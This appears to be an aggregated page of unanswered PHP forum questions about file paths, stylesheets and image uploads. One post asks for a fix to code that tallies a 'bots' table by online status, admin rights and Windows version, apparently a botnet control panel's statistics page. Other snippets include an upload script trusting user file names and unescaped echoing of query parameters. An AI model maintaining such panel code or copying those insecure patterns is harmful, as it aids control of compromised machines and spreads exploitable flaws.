PHP - Simple Stylesheet Absolute Path

PHP 5.3 on Windows 7 running IIS 7

Hey... when using:
Code: [Select]
$dom = DOMDocument::load( 'p:\\WebTest\\test1.xml' );where P:\ is a mapped drive, I'm getting:
Code: [Select]
Warning: DOMDocument::load(): I/O warning : failed to load external entity "file:///p:/WebTest/test1.xml" in ...
I've also tried using / instead of \\. If it's on c:\, it works fine, but I can't get the absolute path to work to a mapped drive.

If I use \\\ip\\folder\\file (or //ip/folder/file) the page never loads.

Any thoughts on getting DOMDocument to look at a shared network location on Windows?

Thanks!

I was wondering of it was possible to have a file say style.css in the root folder of a site like www.example.com/style.css and then get a subdomain called www.sub.example.com which points to www.example.com/subarea to get that file without the use of absolute paths?

Sorry if its not clear.

Hi!

So I'm working for someone, and they want me to fix this error in a PHP file..

Here is the code:

<?php
    include_once('config.php');
    
    $online = mysql_query("SELECT * FROM bots WHERE status LIKE 'Online'");
    $offline = mysql_query("SELECT * FROM bots WHERE status LIKE 'Offline'");
    $dead = mysql_query("SELECT * FROM bots WHERE status LIKE 'Dead'");
    $admintrue = mysql_query("SELECT * FROM bots WHERE admin LIKE 'True'");
    $adminfalse = mysql_query("SELECT * FROM bots WHERE admin LIKE 'False'");
    $windows8 = mysql_query("SELECT * FROM bots WHERE so LIKE '%8%'");
    $windows7 = mysql_query("SELECT * FROM bots WHERE so LIKE '%7%'");
    $windowsvista = mysql_query("SELECT * FROM bots WHERE so LIKE '%vista%'");
    $windowsxp = mysql_query("SELECT * FROM bots WHERE so LIKE '%xp%'");
    $unknown = mysql_query("SELECT * FROM bots WHERE so LIKE 'Unknown'");
    $totalbots = mysql_num_rows(mysql_query("SELECT * FROM bots"));

    $onlinecount = 0;
    $offlinecount = 0;
    $deadcount = 0;

    $admintruecount = 0;
    $adminfalsecount = 0;

    $windows8count = 0;
    $windows7count = 0;
    $windowsvistacount = 0;
    $windowsxpcount = 0;
    $unknowncount = 0;

    while($row = mysql_fetch_array($online)){
        $onlinecount++;
    }
                 
    while($row = mysql_fetch_array($offline)){
        $offlinecount++;
    }
                 
    while($row = mysql_fetch_array($dead)){
        $deadcount++;
    }
                 
    while($row = mysql_fetch_array($admintrue)){
        $admintruecount++;
    }
                 
    while($row = mysql_fetch_array($adminfalse)){
        $adminfalsecount++;
    }
    
    while($row = mysql_fetch_array($windows8)){
        $windows8count++;
    }
                 
    while($row = mysql_fetch_array($windows7)){
        $windows7count++;
    }
                 
    while($row = mysql_fetch_array($windowsvista)){
        $windowsvistacount++;
    }
                 
    while($row = mysql_fetch_array($windowsxp)){
        $windowsxpcount++;
    }
                 
    while($row = mysql_fetch_array($unknown)){
        $unknowncount++;
    }

    $statustotal    = $onlinecount + $offlinecount + $deadcount;
    $admintotal     = $admintruecount + $adminfalsecount;
    $sototal        = $windows7count + $windowsvistacount + $windowsxpcount + $unknowncount;
?>

Can anyone tell me the error here, can how to fix it?

I have a script.. it works fine on my localhost.. now i am trying to work it with on my remote server.. the script reads the folder in my c drive and shows me the file on display here is the code
<?php

$main_dir ="C:\\xampp\\htdocs\\xtrajam";
$main_open = opendir($main_dir);
while(($main_file = readdir($main_open)) != FALSE)
{
echo $main_file."<br />";
}

closedir($main_open);
?>


Now the thing is this works fine on local host as it can easy access the path C:\\xampp\\htdocs\\xtrajam
Now i want this path to be accessed sumhow wen i try it on my remote server.. how should i do that like when i run the script online it reads the contents from my c drive directory..? is it sumhow possible?

Hello:

I am trying to make a StyleSheet updateable from my admin panel, but I'm not sure if what I want to do is possible.

So ...

I have a TEXTAREA in my admin panel that writes to the DB just fine. it has styles like:
Code: [Select]
body
{
margin: 5px 0;
padding: 0;
background-color: #ebe9e6;
background-image: url('../images/Site-BG2.jpg');
background-position: center bottom;
background-repeat: no-repeat;
background-attachment: scroll;

font-family: arial, sans-serif;
font-size: 100%;
line-height: 1.4em;
}
...
Etc...

On the frontend, it writes into the StyleSheet just fine like:
Code: [Select]
<?php
include('myConn.php'); //contains your mysql connection and table selection

$query=mysql_query("SELECT * FROM myStyleSheet") or die("Could not get data from db: ".mysql_error());

while($result=mysql_fetch_array($query))

{

  $myPageData=$result['myPageData'];

}

?>


<?php echo $myPageData; ?>


So, what I want to see is if I can somehow pull the styles onto the page like:
Code: [Select]
<link rel="stylesheet" type="text/css" href="include/StyleSheet.css" />

Now, if I do it as listed above it and look at the code it displays the
Code: [Select]
<?php
include('myConn.php'); //contains your mysql connection and table selection
Etc...

If I do it like
Code: [Select]
<link rel="stylesheet" type="text/css" href="include/StyleSheet.php" />

It displays the styles fine, but the browser doesn't read it as a StyleSheet and therefore the page doesn't get formatted.

So, is there any way to make this work? Anyone have any ideas about this?

The idea is so I can manage the Styles via an admin panel remotely without having to login with web editing software.

Thanks.

Hi,

Can someone why my stylesheet is not working?
Code: [Select]
<?php

header('Content-type: text/html; charset=utf-8');

include 'config.php';
include 'lib.php';

$db = dbConnect();

if (isset($_GET['ip']))
{
$ip = $_GET['ip'];
$longitude = $_GET['long'];
$latitude = $_GET['lat'];

$searches = getSearchesByIP($ip);
$watchUser = true;

}
else
{
$searches = getSearches();
$watchUser = false;
}

dbClose($db);


?>

<html>
<head>
<title>cms</title>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<link rel="stylesheet" type="text/css" href="inc/css/style.css" />
</head>
<body>

<h1>WTF</h1>

<div id="container">

<?
    if ($watchUser == true)
{?>
<a href=searches.php> See all</a>

<br/>

<table>
<tr>
<th>ip</th>
<td><?=$ip;?></td>
</tr>
<tr>
<th>longitude</th>
<td><?=$longitude;?></td>
</tr>
<tr>
<th>latitude</th>
<td><?=$latitude;?></td>
</tr>

</table>
<?
}
    ?>

<br/>
   
    <table>
    <tr>
        <th>id</th>
        <? if ($watchUser == false) echo "<th>ip</th>"; ?>
        <th>question</th>
        <? if ($watchUser == false) echo "<th>longitude</th>"; ?>
        <? if ($watchUser == false) echo "<th>latitude</th>"; ?>
        </tr>
        <?
foreach($searches as $search) {
?>
            <tr>
              <td><?=$search['id'];?></td>
             
              <? if ($watchUser == false)
              {
              echo "<td> <a href='searches.php?ip=" . $search['userIP'] . "&long=" . $search['longitude'] . "&lat=" . $search['latitude'] . "'>" . $search['userIP'] . "</ a> </td>";
            }
              ?>
             
            <td><?=$search['question'];?></td>
            <? if ($watchUser == false) echo "<td>" . $search['longitude'] . "</td>"; ?>
            <? if ($watchUser == false) echo "<td>" . $search['latitude'] . "</td>"; ?>
          <td><a href="answers.php?id=<?=$search['id'];?>">see answers</a></td>
                <td><a href="inc/php/utils/search-delete.php?id=<?=$search['id'];?>">delete</a></td>
            </tr>
            <?
}
?>

    </table>

</div>
    <a href="search.php">Add new</a>

</body>
</html>
my css file:

a:link {color:#FF0000;}    /* unvisited link */
a:visited {color:#00FF00;} /* visited link */
a:hover {color:#FF00FF;}   /* mouse over link */
a:active {color:#0000FF;}  /* selected link */

/*
table
{
font-family: "Arial";
font-size: 10px;
color:red;
}
*/


table, th, td
{
border:1px solid black;
}

h1 {color:#00ff00;}

Hi, I wanted to know how to link a stylesheet using php specifically for the purpose of loading a different stylesheet when the home page displays. I heard of echoing out the stylesheet but I do not know how. Any help would be appreciated.

Okay the reason I'm doing it this way is because I work locally and then transfer them to the production site.
For some reason, this isn't working even though when I view the page source, it has the right URL, but when it's clicked it goes to a blank page, but when I copy and paste, it goes to the right page.

Anywho, this is what I'm trying:

Code: [Select]
<?php $homeURL = 'localhost:90/Elvonica'; ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>
<title>Elvonica</title>
<meta http-equiv="content-type" content="text/html;charset=utf-8" />
<link rel="stylesheet" type="text/css" href="<?php echo $homeURL; ?>/template/css/skySpirit.css" />

I didn't plug in the rest to ignore it since it's not part of the problem. It's printing: localhost:90/Elvonica/template/css/skySpirit.css, but when it's clicked, goes to blank page. When it is copied and pasted, it goes to the right page.
I have a feeling you can't include PHP inside a link rel or any sort of that header information.
If anyone could please help me how to do this, I would appreciate it.

FYI:
I did have just template/css/skySpirit.css and it worked until I go into a another directory like forums/index.php. Then it tries to go localhost:90/Elvonica/forums/template/css/skySpirit.css and it's not in there obviously.

Thank you for anything that you can offer!
I know how to do the includes with the dirname(__FILE__).

...in a different folder?

For instance, I have a stylesheet in my  C:\xampp\htdocs\rcm folder, and I want to link it to files in the C:\xampp\htdocs\ folder. Is there a way of doing this?

Thanks in advance

Hi guys,

Happy New Year

http://www.phpfreaks.com/forums/php-coding-help/?action=post

How can i get the path

http://www.phpfreaks.com/forums


thanks,

Hi,
I want to get root path and use on links even if i'm in sub to sub folder etc...
suppose my site name is fitness.com and having two subfolder. so url will become

http://www.fitness.com/dir/dir_sub

here i want to put a link to go to root directory file. there are different ways to do that. e.g:

Code: [Select]
<a href='../../filename.php'>go to that page</a>

but i want to use some constant that always shows to root directory. as i defined here

Code: [Select]
define("SERVER_NAME" , $_SERVER['HTTP_HOST']);
//and used it like this
<a href='<?php echo SERVER_NAME;  ?>/filename.php'>go to that page</a>

it works when we're on root directory. but when we go to sub directory it added sub directory name with it. which i don't want.

is there any way?

Thanks

Hi,

I have a dynamic variable like this:

/def/g/qaz/pol/cxz/cba/abc

I only wish to keep this:

/def/g/qaz/pol/cxz

How would I do this?

Thanks,

- mme

Hey Everyone, I have these 3 scripts to upload an image but I'm having an issue because the images uploaded are going to the same directory as the pages. What do I need to change to make the uploaded images go to a folder path called "pictures". Thanks in advance for the help.

Script 1

<form name="form1" method="post" action="adminpicturebrowse.php">
<p align="center">How many pictures for this dog? Max is 9</p>
<p align="center">
<input name="uploadNeed" type="text" id="uploadNeed" maxlength="1">
<input type="submit" name="Submit" value="Submit">
</p>
</form>


Script 2

<form name="form1" enctype="multipart/form-data" method="post" action="adminaddupload.php">
<p align="center">
<?
  // start of dynamic form
  $uploadNeed = $_POST['uploadNeed'];
  for($x=0;$x<$uploadNeed;$x++){
  ?>
<input name="uploadFile<? echo $x;?>" type="file" id="uploadFile<? echo $x;?>">
</p>
<div align="center">
<?
  // end of for loop
  }
  ?>
</div>
<p align="center"><input name="uploadNeed" type="hidden" value="<? echo $uploadNeed;?>">
<input type="submit" name="Submit" value="Submit">
</p>
</form>


Script 3

<?
$uploadNeed = $_POST['uploadNeed'];
// start for loop
for($x=0;$x<$uploadNeed;$x++){
$file_name = $_FILES['uploadFile'. $x]['name'];
// strip file_name of slashes
$file_name = stripslashes($file_name);
$file_name = str_replace("'","",$file_name);
$copy = copy($_FILES['uploadFile'. $x]['tmp_name'],$file_name);
 // check if successfully copied
 if($copy){
 echo "$file_name<br>";
 }else{
 echo "$file_name<br>";
 }
} // end of loop
?>

hey guys im still having a issue with using the root path when requiring external files. So i can use one path and never have to worry about this issue.

require("/functions/function_battle.php");
the file is located here
Code: [Select]
C:\Software\XAMPP\xampp\htdocs\System_Lords\functions\function_battle.php
i dont understand (include_path='.;C:\Software\XAMPP\xampp\php\PEAR')
im suppose to be including the php folder or something?


Code: [Select]
Fatal error: require() [function.require]: Failed opening required '/functions/function_battle.php'
 (include_path='.;C:\Software\XAMPP\xampp\php\PEAR') in
 C:\Software\XAMPP\xampp\htdocs\System_Lords\include\battle.php on line 2

Hi,
How can i show image using absolute path instead of virtual path??
Help please